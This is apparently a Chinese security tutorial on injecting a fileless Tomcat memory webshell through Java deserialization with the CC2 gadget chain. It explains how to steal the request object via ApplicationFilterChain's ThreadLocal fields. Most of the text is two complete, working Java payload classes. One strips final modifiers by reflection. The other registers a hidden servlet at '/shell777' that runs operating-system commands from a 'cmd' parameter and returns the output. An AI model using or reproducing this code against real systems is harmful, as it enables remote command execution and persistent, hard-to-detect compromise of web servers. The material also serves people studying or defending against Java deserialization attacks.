前言-回显问题
前面我们在注入内存马的时候都是用JSP来实现代码执行的,而我们知道,JSP本质上就是Servlet,当我们访问JSP时,Tomcat会把这个JSP当作一个Servlet来编译程.class然后加载,本质上还是有文件落地的(内存马没落地,但注册内存马的这个JSP文件落地了)。而且我们还需要至少有一个文件上传功能才能注入内存马,这样一点也不优雅。
因此这里我们来学习通过反序列化注入内存马,让我们的攻击更加优雅。
在开始之前,我们老样子,思考以下问题:
Q:任何反序列化链都能注入内存马吗?
A:NO,很明显,我们想要注入内存马,核心问题就在于怎么通过反序列化来实现任意代码执行。而这就需要用到一些能够 加载字节码 的Gadge才能完成。PS:下面用到的Gadge为CC2。
Q:我们前面在注册各种内存马时是不是都需要有一个standardContext对象,之前我们是怎么获取这个对象的呢?
A:通过request对象获取到ServletContext对象,再获取到standardContext对象。是的,我们只需要requests对象。
Q:request对象是JSP的内置对象,那如果我们用反序列化来注入内存马而不通过JSP注入我们怎么去获取到它呢?
A
,往下看。Q:拓展练习:反序列执行结果怎么回显?
A:如果我们的目的只是通过反序列化来注入内存马的话,那其实我们不太关注这个回显,因为我们只需要request去获取standardContext,在成功注册后自然的就变成了和Servlet、Filter之类的交互,回显的获取是简单的。
但如果我们细究一点,比如就单纯只利用反序列化漏洞来获取回显呢,比如目标站点没有能够注入内存马的Gadge,只有CC1这种呢?我们自然就需要去解决怎么获取回显这个问题。
[Java反序列化回显与内存马注入 - Zh1z3ven - 博客园 (cnblogs.com)](https://www.cnblogs.com/CoLo/p/15690533.html#:~:text=Java反序列化回显与内存马注入 1 写在前面 之前已经对于Tomcat回显链和简单的内存马注入进行了部分的学习,打算先对一个很常见的场景,比如中间件是Tomcat,Web站点存在反序列化的场景去打一个内存马或者说反序列化回显的一个利用。 先做一个简单实现,后面再对不同场景下做一个深度的利用。 2 反序列化回显 主要是通过,3 内存马注入 以filter型的cmd内存马为例,冰蝎同理,改一改逻辑即可。 首先准备恶意的Filter,当然可以添加一些自己的逻辑,如header头的判断等等 … 4 Reference https%3A%2F%2Fsummersec.github.io%2F2020%2F06%2F01%2FJava反序列化回显解决方案%2F%23toc-heading-6)
目前主流的回显技术如下:
- linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干饶。
- 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
- 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
限制:会导致http包超长,但相对比较通用。
嗯,这里我们还是着重去讨论反序列内存马的实现,至于反序列化怎么获取回显问题,有兴趣的小伙伴可以自己去学习学习。(我先咕着,学会了踹我一脚)
这里我们反序列化内存马的实现涉及的核心问题其实已经在前面的QA中提完了,主要就是需要有一个能加载字节码的Gadge和需要能够获取到requests这个对象。CC2这里就不分析了,主要讲的是而怎么获取requests对象呢?
A:这里我们有两种方法。
①kingkk 师傅的思路是寻找一个静态的可以存储 request 和 response 的变量,通过反射来把requests给存储进去。后面调用获取。因为如果不是静态的话,那么我们还需要获取到对应的实例,最终kingkk 师傅找到了如下位置:org.apache.catalina.core.ApplicationFilterChain

②Litch1 师傅则是找到了继承 Http11Processor 的 AbstractProcessor 中有 Request 和 Response 的 Field,并且都是 final 类型(赋值之后对于对象的引用不会变),也就是说只要能拿到这个 Http11Processor 就可以拿到 request 和 response 了。
参考链接
结合反序列化的内存马注入 - Confess2Moon (moonflower.fun)https://t1melo0per.github.io/2022/04/27/memshell-filter/)
通过ThreadLocal Response回显
其实就是寻找一个能存储requests和response的静态变量。通过反射去为这个变量进行requests和response赋值,后续再从这个变量中获取requests。
https://xz.aliyun.com/t/7348#toc-3
这里kingkk 师傅找到的是org.apache.catalina.core.ApplicationFilterChain这个类里的这两个变量。

从上述代码中不难看出,ApplicationDispatcher.WRAP_SAME_OBJECT为真的话,这两个值就是ThreadLocal对象,而通过ThreadLocal对象是能直接获取到requests的。也就是说这个变量我们能够用来存储requests。这里是静态代码块,是优先执行的,并且最开始ApplicationDispatcher.WRAP_SAME_OBJECT 默认为 False ,所以 lastServicedRequest 和 lastServicedResponse 一开始默认都是 null。
接着我们还需要保证这个变量在后面的访问过程中内容不会被修改,往后看看它有没有做什么奇怪的操作。很快,我们发现一个有意思的操作,这里,如果ApplicationDispatcher.WRAP_SAME_OBJECT 为true的话,就会调用lastServicedRequest的set方法去存储requests和response(其实就是ThreadLocal类的set方法)

但我们又发现一个问题,这个try,它最后还有个finally会把lastServicedRequest给设置为null。
经过断点测试,发现,执行流程大概是先try的代码块为lastServicedRequest给赋值上request,然后是到我们的Servlet,最后才是到finally。也就是说我们的漏洞利用代码需要在这个区间生效才行。(这也正是为什么Shiro反序列化中不能用这个来做回显的原因),但问题不大,我们的反序列点在Servlet页面,这正好就在这个区间中,所以这个finally的问题我们不需要考虑。
因此这里我们思路其实很清晰了,我们只需要发两个包:
第一次把 request 和 response 存储到 lastServicedRequest 和 lastServicedResponse 中
第二次将其取出,得到requests然后得到standardContext注册内存马。
为了存储进去,显然需要让它能够步入这个逻辑,也就是说ApplicationDispatcher.WRAP_SAME_OBJECT需要为True,并且lastServicedRequest 也需要初始化为ThreadLocal对象。搞清楚这点后,通过反射来实现一点都不难,主要难点在于它是final变量,因此需要先把它的 FINAL 属性取消。
最终我们构造如下反射来实现requests和response的存储:
package com.ruyue.cc2;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class TemplatesImpl extends AbstractTranslet {
static{
try {
//获取modifiers,用于把Final属性给取消掉
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
//修改 WRAP_SAME_OBJECT 值为 true
Class clzApplicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECTField = clzApplicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
modifiers.setInt(WRAP_SAME_OBJECTField, modifiers.getInt(WRAP_SAME_OBJECTField) & (~Modifier.FINAL));
WRAP_SAME_OBJECTField.setAccessible(true);
if (!WRAP_SAME_OBJECTField.getBoolean(null)) {
WRAP_SAME_OBJECTField.setBoolean(null, true);
}
//重新初始化lastServicedRequest对象,让它变为ThreadLocal
Class clzApplicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = clzApplicationFilterChain.getDeclaredField("lastServicedRequest");
modifiers.setInt(lastServicedRequestField, modifiers.getInt(lastServicedRequestField) & (~Modifier.FINAL));
lastServicedRequestField.setAccessible(true);
if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}
//重新初始化lastServicedRequest对象,让它变为ThreadLocal
Field lastServicedResponseField = clzApplicationFilterChain.getDeclaredField("lastServicedResponse");
modifiers.setInt(lastServicedResponseField, modifiers.getInt(lastServicedResponseField) & (~Modifier.FINAL));
lastServicedResponseField.setAccessible(true);
if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
接着我们实现第二部分,从这个变量中获取requests,进而得到standardContext,最终注册内存马

package com.ruyue.cc2;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class TemplatesImplServlet extends AbstractTranslet implements Servlet {
static private String servletName ="evilServlet1";
static private String servletUrl = "/shell777";
static{
try {
ServletContext servletContext = getServletContext();
StandardContext standardContext = getStandardContext(servletContext);
Servlet evilServlet = new TemplatesImplServlet();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(evilServlet);
//向children中添加Wrapper
standardContext.addChild(newWrapper);
//添加servlet的映射
standardContext.addServletMappingDecoded(servletUrl, servletName);
} catch (Exception e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
if (servletRequest != null){
return servletRequest.getServletContext();
}
return null;
}
private static StandardContext getStandardContext(ServletContext servletContext) throws NoSuchFieldException, IllegalAccessException {
StandardContext standardContext = null;
//从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext对象
while (standardContext == null) {
//因为是StandardContext对象是私有属性,所以需要用反射去获取
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
return standardContext;
}
}
return null;
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
servletResponse.setContentType("text/html");
PrintWriter out = servletResponse.getWriter();
String cmd = servletRequest.getParameter("cmd");
if(cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String result = scanner.hasNext() ? scanner.next() : "";
out.println(result);
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}将这两个对象反序列化,按顺序发送到目标服务器,最终成功注册内存马。
